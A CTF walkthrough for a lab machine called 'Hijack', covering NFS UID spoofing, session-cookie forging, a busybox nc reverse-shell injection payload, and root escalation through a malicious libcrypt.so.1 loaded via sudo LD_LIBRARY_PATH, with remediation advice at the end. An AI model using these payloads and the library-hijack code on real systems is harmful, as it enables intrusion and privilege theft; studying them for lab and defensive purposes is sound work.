namura's notes

Hijack

4 min read

Target IP: hijack.thm (Requires /etc/hosts entry) Difficulty: Medium Objective: User (rick, admin) & Root (root.txt) Flags

1. Executive Summary

“Hijack” is a Linux machine hosting a web application with multiple layers of security misconfigurations. Initial access requires mounting an NFS Share and manipulating user UIDs to read restricted files, revealing FTP credentials. Access to the web administration panel is gained by brute-forcing session cookies using a custom script to bypass login rate limits. Remote Code Execution (RCE) is achieved via the administration panel. Privilege escalation exploits a misconfigured sudo permission for the apache2 binary, allowing for LD_LIBRARY_PATH Hijacking to execute code as root.

Key TTPs (MITRE ATT&CK):

  • T1078 (Valid Accounts): Leveraging FTP and Web credentials.
  • T1592 (Gather Victim Host Information): NFS Enumeration.
  • T1553 (Subvert Trust Controls): Spoofing UID/GID to access NFS files.
  • T1110 (Brute Force): Custom session cookie brute-forcing.
  • T1574.006 (Hijack Execution Flow: LD_PRELOAD/LD_LIBRARY_PATH): Escalating privileges via Sudo library injection.

2. Operational Setup

Host Configuration

echo "10.10.x.x hijack.thm" | sudo tee -a /etc/hosts

3. Enumeration & Initial Access

A. Network Scanning

Nmap reveals a rich attack surface.

  • 21/tcp (FTP): vsftpd 3.0.3.
  • 22/tcp (SSH): OpenSSH 7.2p2.
  • 80/tcp (HTTP): Apache.
  • 111/2049 (NFS): Network File System.

B. NFS Enumeration (The Key)

We check for exposed shares.

showmount -e hijack.thm
# /mnt/share *

We mount it locally:

mkdir /tmp/nfs
mount -t nfs hijack.thm:/mnt/share /tmp/nfs
ls -la /tmp/nfs

Findings:

  • We see files owned by a specific numeric UID (likely 1000 or 1001).
  • We cannot read them because our local user doesn’t match the remote UID.

The Fix (UID Spoofing):

  1. Create a local user with the matching UID.
sudo useradd -u 1001 fakeuser
sudo su fakeuser
  1. Now we can read the files.
  2. Result: FTP credentials found in a text file.

C. FTP Access

We log in to FTP with the recovered credentials.

  • Files: A list of passwords (passwords_list.txt) and a note from admin mentions “limiting login attempts.”

D. Web Access (Session Hijacking)

The web login page has a rate limiter. However, the cookie logic is predictable (PHPSESSID is a base64 encoded string of user:md5(password)).

You used a custom Python script to generate valid cookies for every password in the list and check access.

  • Result: admin:uDh3jCQsdcuLhjVkAy5x (Password found in list).
  • Technique: Pass-the-Cookie (or rather, Forge-the-Cookie).

E. Remote Code Execution

The admin panel allows command execution (or file interaction that leads to it). Payload:

apache2 && busybox nc 10.10.YOUR.IP 4444 -e sh

Note: Using busybox nc is a great workaround when standard nc doesn’t support -e.

Status: Shell as www-data.

4. Lateral Movement: Rick

Enumeration

In the web root (/var/www/html), we check configuration files.

  • config.php: Contains DB credentials rick:N3v3rG0nn4G1v3Y0uUp.

Access

We switch user to rick.

su rick
# Password: N3v3rG0nn4G1v3Y0uUp

Status: User rick.

5. Privilege Escalation: Library Hijacking

Enumeration

Checking sudo rights:

sudo -l
# (root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2

We can run apache2 as root, but with specific flags. Standard GTFOBins for apache2 usually rely on interactive mode, which isn’t available here.

The Vulnerability: LD_LIBRARY_PATH

When sudo is configured with SETENV (or lacks env_reset), or if the specific command allows environment variable preservation, we can hijack shared libraries.

However, apache2 loads configuration files. If we can manipulate the libraries it loads during startup, we win.

The Logic: The command specifies a config file -f /etc/apache2/apache2.conf. If we check the dynamic libraries apache2 uses:

ldd /usr/sbin/apache2
# libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1
...

The trick here is usually LD_LIBRARY_PATH. We can point apache2 to look for shared libraries in our directory (/tmp) before the system directories.

Exploitation

  1. Create Malicious Library: We create a C file that executes a shell when loaded.
// library_hijack.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
static void hijack() __attribute__((constructor));
 
void hijack() {
    unsetenv("LD_LIBRARY_PATH");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
  1. Compile: We need to compile it as a shared object (.so) and name it same as one of the libraries apache2 needs (e.g., libcrypt.so.1).
gcc -o /tmp/libcrypt.so.1 -shared -fPIC library_hijack.c
  1. Execute: We run the sudo command while setting the library path to /tmp.
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2

Result: The apache2 binary starts as root, looks for libcrypt.so.1 in /tmp (because of our environment variable), loads our malicious code, and executes the constructor function, giving us a root shell.

# whoami
root

Root Flag: /root/root.txt.

6. Remediation (Blue Team)

  1. NFS Security:
  • Restrict NFS exports to specific IPs.
  • Use root_squash and ensure file permissions on the share do not map to easily guessable UIDs.
  1. Session Management:
  • Do not use predictable logic (Base64 of md5) for Session IDs. Use cryptographically secure, random session tokens generated by the framework (PHP defaults are usually safer than custom implementations like this).
  1. Sudo Configuration:
  • Strict Environment: Ensure Defaults env_reset is set in /etc/sudoers to strip environment variables like LD_LIBRARY_PATH.
  • Secure Path: Restrict the secure_path to trusted directories.
  • Avoid allowing complex binaries like apache2 in sudoers unless absolutely necessary.

Graph View

Backlinks